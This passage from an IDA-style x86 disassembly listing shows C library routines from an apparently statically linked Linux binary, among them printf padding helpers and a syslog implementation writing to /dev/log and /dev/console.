sub_8053310+178Ej mov eax, [ebp+arg_0] mov eax, [eax+14h] mov byte ptr [eax], 2Dh mov edx, [ebp+arg_0] inc dword ptr [edx+14h] jmp short loc_8054B27 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8054ACC: ; CODE XREF: sub_8053310+1780j mov ecx, [ebp+arg_4] cmp dword ptr [ecx+24h], 0 jz short loc_8054AFC mov eax, [ebp+arg_0] mov eax, [eax+14h] mov edx, [ebp+arg_0] cmp [edx+18h], eax ja short loc_8054AE8 push 2Bh push edx jmp short loc_8054AA3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054AE8: ; CODE XREF: sub_8053310+17D1j mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] mov byte ptr [ecx], 2Bh mov eax, [ebp+arg_0] inc dword ptr [eax+14h] jmp short loc_8054B27 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8054AFC: ; CODE XREF: sub_8053310+17C3j mov edx, [ebp+arg_4] cmp dword ptr [edx+1Ch], 0 jz short loc_8054B2A mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] mov eax, [ebp+arg_0] cmp [eax+18h], ecx ja short loc_8054B18 push 20h push eax jmp short loc_8054AA3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054B18: ; CODE XREF: sub_8053310+1801j mov edx, [ebp+arg_0] mov edx, [edx+14h] mov byte ptr [edx], 20h mov ecx, [ebp+arg_0] inc dword ptr [ecx+14h] loc_8054B27: ; CODE XREF: sub_8053310+17A6j ; sub_8053310+17B7j ... inc [ebp+var_5C] loc_8054B2A: ; CODE XREF: sub_8053310+17F3j mov eax, [ebp+arg_4] cmp dword ptr [eax+20h], 0 jnz short loc_8054B5E cmp byte ptr [eax+2Ch], 30h jnz short loc_8054B5E cmp [ebp+var_78], 0 jle short loc_8054B5E mov edx, [ebp+var_78] push edx push 30h mov ecx, [ebp+arg_0] push ecx call _IO_padn mov esi, eax add esp, 0Ch cmp [ebp+var_78], esi jnz short loc_8054BD6 mov eax, [ebp+var_78] add [ebp+var_5C], eax loc_8054B5E: ; CODE XREF: sub_8053310+1821j ; sub_8053310+1827j ... sub ebx, edi cmp ebx, 14h jle short loc_8054BE3 mov edx, [ebp+arg_0] mov edx, [edx+50h] push ebx push edi mov ecx, [ebp+arg_0] push ecx mov eax, [edx+34h] call eax mov esi, eax add esp, 0Ch cmp esi, ebx jnz short loc_8054BD6 add [ebp+var_5C], ebx jmp short loc_8054BEA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054B84: ; CODE XREF: sub_8053310+18D8j movzx esi, byte ptr [edi] inc edi mov edx, [ebp+arg_0] mov edx, [edx+14h] mov ecx, [ebp+arg_0] cmp [ecx+18h], edx ja short loc_8054BB4 mov eax, esi movzx esi, al mov [ebp+var_9C], esi push esi push ecx call sub_8061910 mov esi, eax add esp, 8 cmp esi, 0FFFFFFFFh jz short loc_8054BD6 jmp short loc_8054BE0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054BB4: ; CODE XREF: sub_8053310+1884j mov edx, [ebp+arg_0] mov edx, [edx+14h] mov ecx, esi mov byte ptr [ebp+var_A0], cl mov [edx], cl movzx eax, byte ptr [ebp+var_A0] mov edx, [ebp+arg_0] inc dword ptr [edx+14h] cmp eax, 0FFFFFFFFh jnz short loc_8054BE0 loc_8054BD6: ; CODE XREF: sub_8053310+266j ; sub_8053310+293j ... mov eax, 0FFFFFFFFh jmp short loc_8054C1B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8054BE0: ; CODE XREF: sub_8053310+18A2j ; sub_8053310+18C4j inc [ebp+var_5C] loc_8054BE3: ; CODE XREF: sub_8053310+1853j mov eax, ebx dec ebx test eax, eax jnz short loc_8054B84 loc_8054BEA: ; CODE XREF: sub_8053310+1872j mov ecx, [ebp+arg_4] cmp dword ptr [ecx+20h], 0 jz short loc_8054C18 cmp [ebp+var_78], 0 jle short loc_8054C18 mov eax, [ebp+var_78] push eax movzx edx, byte ptr [ecx+2Ch] push edx mov ecx, [ebp+arg_0] push ecx call _IO_padn mov ebx, eax cmp [ebp+var_78], ebx jnz short loc_8054BD6 mov eax, [ebp+var_78] add [ebp+var_5C], eax loc_8054C18: ; CODE XREF: sub_8053310+387j ; sub_8053310+38Fj ... mov eax, [ebp+var_5C] loc_8054C1B: ; CODE XREF: sub_8053310+18CBj lea esp, [ebp+var_164] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8053310 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8054C28 proc near ; CODE XREF: sub_8053310+1252p ; sub_8054C7C+15p var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push esi push ebx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] cmp byte ptr [edx], 0FFh jz short loc_8054C40 cmp byte ptr [edx], 0 jnz short loc_8054C58 loc_8054C40: ; CODE XREF: sub_8054C28+11j xor eax, eax jmp short loc_8054C73 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054C44: ; CODE XREF: sub_8054C28+40j movzx edx, byte ptr [edx-1] mov [ebp+var_4], edx mov eax, ecx xor edx, edx div [ebp+var_4] mov ecx, eax add ebx, ecx jmp short loc_8054C71 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054C58: ; CODE XREF: sub_8054C28+16j xor ebx, ebx jmp short loc_8054C6A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054C5C: ; CODE XREF: sub_8054C28+47j inc ebx sub ecx, esi inc edx cmp byte ptr [edx], 0FFh jz short loc_8054C71 cmp byte ptr [edx], 0 jz short loc_8054C44 loc_8054C6A: ; CODE XREF: sub_8054C28+32j movzx esi, byte ptr [edx] cmp ecx, esi ja short loc_8054C5C loc_8054C71: ; CODE XREF: sub_8054C28+2Ej ; sub_8054C28+3Bj mov eax, ebx loc_8054C73: ; CODE XREF: sub_8054C28+1Aj lea esp, [ebp+var_C] pop ebx pop esi mov esp, ebp pop ebp retn sub_8054C28 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8054C7C proc near ; CODE XREF: sub_8053310+165Fp var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov esi, [ebp+arg_8] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_10] push ebx push edi push esi call sub_8054C28 mov [ebp+var_4], eax add esp, 0Ch test eax, eax jnz short loc_8054CA8 mov eax, [ebp+arg_4] jmp loc_8054DAD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054CA8: ; CODE XREF: sub_8054C7C+22j mov ebx, [ebp+arg_0] add ebx, esi mov eax, [ebp+arg_4] sub eax, ebx push eax push ebx add ebx, [ebp+var_4] push ebx call memmove lea edx, [ebx-1] loc_8054CC0: ; CODE XREF: sub_8054C7C+C2j movzx ecx, byte ptr [edi] inc edi mov eax, ecx neg eax and eax, 3 test ecx, ecx jle short loc_8054CF3 test eax, eax jz short loc_8054D00 cmp eax, 3 jge short loc_8054CF3 cmp eax, 2 jge short loc_8054CE8 dec esi mov ebx, [ebp+arg_0] mov al, [esi+ebx] mov [edx], al dec edx dec ecx loc_8054CE8: ; CODE XREF: sub_8054C7C+5Fj dec esi mov ebx, [ebp+arg_0] mov al, [esi+ebx] mov [edx], al dec edx dec ecx loc_8054CF3: ; CODE XREF: sub_8054C7C+51j ; sub_8054C7C+5Aj dec esi mov ebx, [ebp+arg_0] mov al, [esi+ebx] mov [edx], al dec edx dec ecx jz short loc_8054D28 loc_8054D00: ; CODE XREF: sub_8054C7C+55j ; sub_8054C7C+AAj mov ebx, [ebp+arg_0] mov al, [ebx+esi-1] mov [edx], al mov al, [ebx+esi-2] mov [edx-1], al mov al, [ebx+esi-3] mov [edx-2], al add esi, 0FFFFFFFCh mov al, [esi+ebx] mov [edx-3], al add edx, 0FFFFFFFCh add ecx, 0FFFFFFFCh jnz short loc_8054D00 loc_8054D28: ; CODE XREF: sub_8054C7C+82j mov al, byte ptr [ebp+arg_10] mov [edx], al dec edx cmp byte ptr [edi], 0FFh jz short loc_8054D40 cmp byte ptr [edi], 0 jnz short loc_8054D39 dec edi loc_8054D39: ; CODE XREF: sub_8054C7C+BAj movzx eax, byte ptr [edi] cmp esi, eax ja short loc_8054CC0 loc_8054D40: ; CODE XREF: sub_8054C7C+B5j mov eax, [ebp+arg_0] sub eax, edx and eax, 3 cmp [ebp+arg_0], edx jge short loc_8054D6F test eax, eax jz short loc_8054D80 cmp eax, 3 jge short loc_8054D6F cmp eax, 2 jge short loc_8054D65 dec esi mov ebx, [ebp+arg_0] mov al, [esi+ebx] mov [edx], al dec edx loc_8054D65: ; CODE XREF: sub_8054C7C+DDj dec esi mov ebx, [ebp+arg_0] mov al, [esi+ebx] mov [edx], al dec edx loc_8054D6F: ; CODE XREF: sub_8054C7C+CFj ; sub_8054C7C+D8j dec esi mov ebx, [ebp+arg_0] mov al, [esi+ebx] mov [edx], al dec edx cmp edx, ebx jbe short loc_8054DA7 lea esi, [esi+0] loc_8054D80: ; CODE XREF: sub_8054C7C+D3j ; sub_8054C7C+129j mov ebx, [ebp+arg_0] mov al, [ebx+esi-1] mov [edx], al mov al, [ebx+esi-2] mov [edx-1], al mov al, [ebx+esi-3] mov [edx-2], al add esi, 0FFFFFFFCh mov al, [esi+ebx] mov [edx-3], al add edx, 0FFFFFFFCh cmp edx, ebx ja short loc_8054D80 loc_8054DA7: ; CODE XREF: sub_8054C7C+FFj mov eax, [ebp+arg_4] add eax, [ebp+var_4] loc_8054DAD: ; CODE XREF: sub_8054C7C+27j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8054C7C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8054DB8 proc near ; CODE XREF: _setprotoent+2Ap arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] test edx, edx jnz short loc_8054DD0 loc_8054DC2: ; CODE XREF: sub_8054DB8+24j mov errno, 16h mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054DD0: ; CODE XREF: sub_8054DB8+8j mov eax, [edx] and eax, 0FFFF0000h cmp eax, 0FBAD0000h jnz short loc_8054DC2 push 3 push 0 push 0 push edx call _IO_seekoff mov esp, ebp pop ebp retn sub_8054DB8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8054DF0 proc near ; CODE XREF: __hostalias+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push 400h push eax push edx call _IO_setbuffer mov esp, ebp pop ebp retn sub_8054DF0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000047 BYTES: COLLAPSED FUNCTION register_printf_function. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8054E54 proc near ; CODE XREF: sub_8054EC8+366p ; .text:08055379p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov eax, dword_8078894 push eax call __libc_close mov dword_8078894, 0FFFFFFFFh mov ds:dword_807AC58, 0 test ebx, ebx jz short loc_8054EA6 mov dword_8078898, 0 mov dword_807889C, offset aSyslog ; "syslog" mov dword_80788A0, 8 mov dword_80788A4, 0FFh loc_8054EA6: ; CODE XREF: sub_8054E54+28j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8054E54 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8054EB0 proc near ; CODE XREF: sub_804B800+280p ; sub_804B800+3CEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] lea eax, [ebp+arg_8] push eax push edx push ecx call sub_8054EC8 mov esp, ebp pop ebp retn sub_8054EB0 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8054EC8 proc near ; CODE XREF: sub_8054EB0+Fp var_C30 = byte ptr -0C30h var_C24 = byte ptr -0C24h var_C20 = dword ptr -0C20h var_C1C = dword ptr -0C1Ch var_C18 = dword ptr -0C18h var_C14 = dword ptr -0C14h var_C10 = dword ptr -0C10h var_C0C = dword ptr -0C0Ch var_C08 = dword ptr -0C08h var_C04 = byte ptr -0C04h var_C00 = byte ptr -0C00h var_802 = byte ptr -802h var_801 = byte ptr -801h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0C24h push edi push esi push ebx mov esi, [ebp+arg_0] mov edx, errno mov [ebp+var_C1C], edx mov ecx, esi and ecx, 7 mov eax, dword_80788A4 sar eax, cl test al, 1 jz loc_80552A1 test esi, 0FFFFFC00h jnz loc_80552A1 cmp dword_8078894, 0 jl short loc_8054F15 cmp ds:dword_807AC58, 0 jnz short loc_8054F2D loc_8054F15: ; CODE XREF: sub_8054EC8+42j push 0 mov eax, dword_8078898 or al, 8 push eax mov eax, dword_807889C push eax call sub_80552B0 add esp, 0Ch loc_8054F2D: ; CODE XREF: sub_8054EC8+4Bj test esi, 3F8h jnz short loc_8054F3B or esi, dword_80788A0 loc_8054F3B: ; CODE XREF: sub_8054EC8+6Bj lea ebx, [ebp+var_C04] push ebx call __libc_time push ebx call sub_805B548 add eax, 4 push eax push esi push offset aD_15s ; "<%d>%.15s " push 800h lea ebx, [ebp+var_800] push ebx call snprintf mov esi, ebx add esp, 1Ch cmp [ebp+var_800], 0 jz short loc_8054F7E lea esi, [esi] loc_8054F78: ; CODE XREF: sub_8054EC8+B4j inc esi cmp byte ptr [esi], 0 jnz short loc_8054F78 loc_8054F7E: ; CODE XREF: sub_8054EC8+ACj test byte ptr dword_8078898, 20h jz short loc_8054F8D mov [ebp+var_C20], esi loc_8054F8D: ; CODE XREF: sub_8054EC8+BDj cmp dword_807889C, 0 jz short loc_8054FB2 mov eax, dword_807889C push eax push esi call strcpy add esp, 8 cmp byte ptr [esi], 0 jz short loc_8054FB2 lea esi, [esi] loc_8054FAC: ; CODE XREF: sub_8054EC8+E8j inc esi cmp byte ptr [esi], 0 jnz short loc_8054FAC loc_8054FB2: ; CODE XREF: sub_8054EC8+CCj ; sub_8054EC8+E0j test byte ptr dword_8078898, 1 jz short loc_8054FE2 call __libc_getpid push eax push offset aD ; "[%d]" mov eax, ebp sub eax, esi push eax push esi call snprintf add esp, 10h cmp byte ptr [esi], 0 jz short loc_8054FE2 lea esi, [esi+0] loc_8054FDC: ; CODE XREF: sub_8054EC8+118j inc esi cmp byte ptr [esi], 0 jnz short loc_8054FDC loc_8054FE2: ; CODE XREF: sub_8054EC8+F1j ; sub_8054EC8+10Fj cmp dword_807889C, 0 jz short loc_8054FF6 mov byte ptr [esi], 3Ah inc esi mov byte ptr [esi], 20h inc esi mov byte ptr [esi], 0 loc_8054FF6: ; CODE XREF: sub_8054EC8+121j lea ebx, [ebp+var_C00] jmp loc_8055108 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055004: ; CODE XREF: sub_8054EC8+24Dj lea eax, [ebp+var_801] cmp ebx, eax jnb loc_805511B cmp [ebp+var_C24], 25h jnz loc_80550FC mov edx, [ebp+arg_4] cmp byte ptr [edx+1], 25h jnz short loc_8055074 lea eax, [ebp+var_802] cmp ebx, eax jnb short loc_8055044 mov byte ptr [ebx], 25h inc ebx mov byte ptr [ebx], 25h inc ebx inc edx mov [ebp+arg_4], edx jmp loc_8055105 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055044: ; CODE XREF: sub_8054EC8+168j push offset aTruncated ; "[truncated] " push 800h lea eax, [ebp+var_800] push eax call sub_80553A0 add esp, 0Ch cmp byte ptr [esi], 0 jz loc_805511B lea esi, [esi] loc_8055068: ; CODE XREF: sub_8054EC8+1A4j inc esi cmp byte ptr [esi], 0 jnz short loc_8055068 jmp loc_805511B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055074: ; CODE XREF: sub_8054EC8+15Ej cmp [ebp+var_C24], 25h jnz short loc_80550FC mov edx, [ebp+arg_4] cmp byte ptr [edx+1], 6Dh jnz short loc_80550FC inc edx mov [ebp+arg_4], edx mov eax, ebp sub eax, ebx lea edi, [eax-800h] mov edx, [ebp+var_C1C] push edx call sub_80566A4 push eax push offset aS ; "%s" push edi push ebx call snprintf add esp, 14h cmp eax, 0FFFFFFFFh jz short loc_80550B9 cmp eax, edi jle short loc_80550EC loc_80550B9: ; CODE XREF: sub_8054EC8+1EBj push offset aTruncated ; "[truncated] " push 800h lea eax, [ebp+var_800] push eax call sub_80553A0 add esp, 0Ch cmp byte ptr [esi], 0 jz short loc_80550DE nop loc_80550D8: ; CODE XREF: sub_8054EC8+214j inc esi cmp byte ptr [esi], 0 jnz short loc_80550D8 loc_80550DE: ; CODE XREF: sub_8054EC8+20Dj cmp byte ptr [ebx], 0 jz short loc_805511B nop loc_80550E4: ; CODE XREF: sub_8054EC8+220j inc ebx cmp byte ptr [ebx], 0 jnz short loc_80550E4 jmp short loc_805511B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80550EC: ; CODE XREF: sub_8054EC8+1EFj cmp byte ptr [ebx], 0 jz short loc_8055105 lea esi, [esi+0] loc_80550F4: ; CODE XREF: sub_8054EC8+230j inc ebx cmp byte ptr [ebx], 0 jnz short loc_80550F4 jmp short loc_8055105 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80550FC: ; CODE XREF: sub_8054EC8+151j ; sub_8054EC8+1B3j ... mov dl, [ebp+var_C24] mov [ebx], dl inc ebx loc_8055105: ; CODE XREF: sub_8054EC8+176j ; sub_8054EC8+227j ... inc [ebp+arg_4] loc_8055108: ; CODE XREF: sub_8054EC8+134j mov edx, [ebp+arg_4] mov dl, [edx] mov [ebp+var_C24], dl test dl, dl jnz loc_8055004 loc_805511B: ; CODE XREF: sub_8054EC8+144j ; sub_8054EC8+198j ... mov byte ptr [ebx], 0 cmp [ebp+var_C24], 0 jz short loc_805514E push offset aTruncated ; "[truncated] " push 800h lea eax, [ebp+var_800] push eax call sub_80553A0 add esp, 0Ch cmp byte ptr [esi], 0 jz short loc_805514E lea esi, [esi+0] loc_8055148: ; CODE XREF: sub_8054EC8+284j inc esi cmp byte ptr [esi], 0 jnz short loc_8055148 loc_805514E: ; CODE XREF: sub_8054EC8+25Dj ; sub_8054EC8+27Bj mov edi, ebp sub edi, esi mov edx, [ebp+arg_8] push edx lea eax, [ebp+var_C00] push eax push edi push esi call vsnprintf add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_8055170 cmp eax, edi jle short loc_805518D loc_8055170: ; CODE XREF: sub_8054EC8+2A2j push offset aTruncated ; "[truncated] " push 800h lea eax, [ebp+var_800] push eax call sub_80553A0 add esp, 0Ch jmp short loc_805518D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805518C: ; CODE XREF: sub_8054EC8+2C8j inc esi loc_805518D: ; CODE XREF: sub_8054EC8+2A6j ; sub_8054EC8+2C1j cmp byte ptr [esi], 0 jnz short loc_805518C lea eax, [ebp+var_800] sub esi, eax mov [ebp+var_C18], esi test byte ptr dword_8078898, 20h jz short loc_80551EE mov edx, [ebp+var_C20] mov [ebp+var_C14], edx sub edx, eax mov eax, edx mov edx, [ebp+var_C18] sub edx, eax mov [ebp+var_C10], edx mov [ebp+var_C0C], offset asc_8067FB3 ; "\n" mov [ebp+var_C08], 1 push 2 lea eax, [ebp+var_C14] push eax push 2 call __writev add esp, 0Ch loc_80551EE: ; CODE XREF: sub_8054EC8+2DFj lea esi, [ebp+var_800] mov ebx, [ebp+var_C18] add ebx, esi loc_80551FC: ; CODE XREF: sub_8054EC8+374j mov eax, ebx sub eax, esi inc eax push eax push esi mov eax, dword_8078894 push eax call __libc_write add esp, 0Ch test eax, eax jge short loc_8055238 cmp errno, 0Bh jz short loc_8055227 cmp errno, 4 jnz short loc_805522C loc_8055227: ; CODE XREF: sub_8054EC8+354j xor eax, eax jmp short loc_8055238 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805522C: ; CODE XREF: sub_8054EC8+35Dj push 0 call sub_8054E54 add esp, 4 jmp short loc_805523E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055238: ; CODE XREF: sub_8054EC8+34Bj ; sub_8054EC8+361j add esi, eax cmp esi, ebx jbe short loc_80551FC loc_805523E: ; CODE XREF: sub_8054EC8+36Ej cmp esi, ebx ja short loc_80552A1 test byte ptr dword_8078898, 2 jz short loc_80552A1 push 0 push 1 push offset aDevConsole ; "/dev/console" call __libc_open mov edi, eax add esp, 0Ch test edi, edi jl short loc_80552A1 push offset asc_8067FC2 ; "\r\n" lea ebx, [ebp+var_800] push ebx call strcat add [ebp+var_C18], 2 push 3Eh push ebx call strchr lea esi, [eax+1] mov eax, esi sub eax, ebx mov edx, [ebp+var_C18] sub edx, eax mov eax, edx push eax push esi push edi call __libc_write push edi call __libc_close loc_80552A1: ; CODE XREF: sub_8054EC8+29j ; sub_8054EC8+35j ... lea esp, [ebp+var_C30] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8054EC8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80552B0 proc near ; CODE XREF: .text:0804C43Bp ; sub_8054EC8+5Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov eax, [ebp+arg_8] test edx, edx jz short loc_80552C7 mov dword_807889C, edx loc_80552C7: ; CODE XREF: sub_80552B0+Fj mov dword_8078898, ecx test eax, eax jz short loc_80552DD test eax, 0FFFFFC07h jnz short loc_80552DD mov dword_80788A0, eax loc_80552DD: ; CODE XREF: sub_80552B0+1Fj ; sub_80552B0+26j cmp dword_8078894, 0FFFFFFFFh jnz short loc_805532D mov ds:word_807AC5C, 1 push 0Eh push offset aDevLog ; "/dev/log" push offset unk_807AC5E call strncpy add esp, 0Ch test byte ptr dword_8078898, 8 jz short loc_8055324 push 0 push 1 push 1 call socket ; open a SOCK_STREAM socket, type PF_UNIX, proto IP mov dword_8078894, eax add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_805536A loc_8055324: ; CODE XREF: sub_80552B0+5Aj cmp dword_8078894, 0FFFFFFFFh jz short loc_805536A loc_805532D: ; CODE XREF: sub_80552B0+34j cmp ds:dword_807AC58, 0 jnz short loc_805536A xor al, al mov edi, offset unk_807AC5E cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax inc eax push eax push offset word_807AC5C mov eax, dword_8078894 push eax call connect cmp eax, 0FFFFFFFFh jz short loc_805536A mov ds:dword_807AC58, 1 loc_805536A: ; CODE XREF: sub_80552B0+72j ; sub_80552B0+7Bj ... mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_80552B0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push 1 call sub_8054E54 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov edx, [ebp+8] mov eax, dword_80788A4 test edx, edx jz short loc_8055399 mov dword_80788A4, edx loc_8055399: ; CODE XREF: .text:08055391j mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80553A0 proc near ; CODE XREF: sub_8054EC8+18Dp ; sub_8054EC8+202p ... var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx cmp [ebp+arg_0], 0 jz loc_80555A4 cmp [ebp+arg_8], 0 jz loc_80555A4 xor al, al mov edi, [ebp+arg_8] cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax lea edi, [eax-1] test edi, edi jz loc_80555A4 mov ebx, [ebp+arg_0] cmp byte ptr [ebx], 3Ch jnz short loc_8055431 movzx edx, byte ptr [ebx+1] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jz short loc_8055431 cmp byte ptr [ebx+2], 3Eh jnz short loc_80553FC add ebx, 3 jmp short loc_8055431 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80553FC: ; CODE XREF: sub_80553A0+55j movzx edx, byte ptr [ebx+2] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jz short loc_8055431 cmp byte ptr [ebx+3], 3Eh jnz short loc_8055418 add ebx, 4 jmp short loc_8055431 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055418: ; CODE XREF: sub_80553A0+70j movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jz short loc_8055431 cmp byte ptr [ebx+4], 3Eh jnz short loc_8055431 add ebx, 5 loc_8055431: ; CODE XREF: sub_80553A0+3Fj ; sub_80553A0+4Fj ... movzx eax, byte ptr [ebx] mov edx, dword_8078FA0 test 